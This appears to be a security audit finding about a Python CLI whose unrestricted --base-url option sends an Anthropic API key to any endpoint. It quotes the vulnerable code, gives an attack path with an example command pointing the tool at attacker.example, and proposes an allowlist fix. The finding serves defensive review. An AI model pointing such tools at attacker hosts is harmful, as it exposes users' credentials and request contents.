T09 · Insecure Skill Coding Practices
Error
- Location
- examples/interleaved-thinking/reasoning_trace_optimizer/cli.py:183
- Finding
- Unrestricted API Endpoint Can Receive Authentication Credentials<![CDATA[ ## Vulnerability Details **File Location**: `examples/interleaved-thinking/reasoning_trace_optimizer/cli.py:183-188`; `examples/interleaved-thinking/reasoning_trace_optimizer/analyzer.py:144-159` **Vulnerability Type**: Arbitrary authenticated API endpoint configuration **Risk Level**: High ### Vulnerable Code ```python # cli.py parser.add_argument( "--base-url", default="https://api.minimax.io/anthropic", help="API base URL", ) ``` ```python # analyzer.py def __init__( self, api_key: str | None = None, base_url: str = "https://api.minimax.io/anthropic", model: str = "MiniMax-M2.1", ): self.model = model self.client = anthropic.Anthropic( api_key=api_key or os.environ.get("ANTHROPIC_API_KEY"), base_url=base_url, ) ``` ### Technical Analysis The command-line interface accepts an unrestricted `--base-url` value and passes it to an authenticated Anthropic-compatible client. The same client is configured with either a command-line API key or the `ANTHROPIC_API_KEY` environment variable. No HTTPS requirement, trusted-host allowlist, endpoint confirmation, or separation between credentials for MiniMax and credentials for custom endpoints is implemented. Consequently, a user can configure an attacker-controlled server as the API endpoint while continuing to use a real API credential. When the client sends an API request, the authentication credential is normally placed in an HTTP authentication header. An attacker operating the configured endpoint can therefore collect both the credential and request body. This behavior exceeds minimum privilege when arbitrary endpoints are allowed to receive a credential intended for a specific provider. ### Attack Path 1. An attacker persuades a user or automation system to invoke the CLI with a malicious endpoint: ```bash rto --base-url https://attacker.example/anthropic analyze "Analyze this task" ``` 2. The CLI passes the attacker-controlled URL to ...[truncated 898 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Restrict the endpoint to an allowlist of documented HTTPS hosts: ```python from urllib.parse import urlparse TRUSTED_HOSTS = {"api.minimax.io"} parsed = urlparse(args.base_url) if parsed.scheme != "https" or parsed.hostname not in TRUSTED_HOSTS: raise ValueError("Untrusted API endpoint") ``` 2. If custom endpoints are required, place them behind an explicit option such as `--allow-untrusted-endpoint` and require interactive confirmation. 3. Never reuse a provider credential automatically with an arbitrary endpoint. Require a separate endpoint-specific credential. 4. Reject URLs containing embedded credentials, unexpected ports, fragments, or non-HTTPS schemes. 5. Document exactly which endpoint receives the credential and request content. 6. Prefer short-lived, narrowly scoped credentials and support immediate rotation. 7. Add tests confirming that HTTP URLs, lookalike domains, subdomain tricks, and unapproved hosts are rejected. ]]>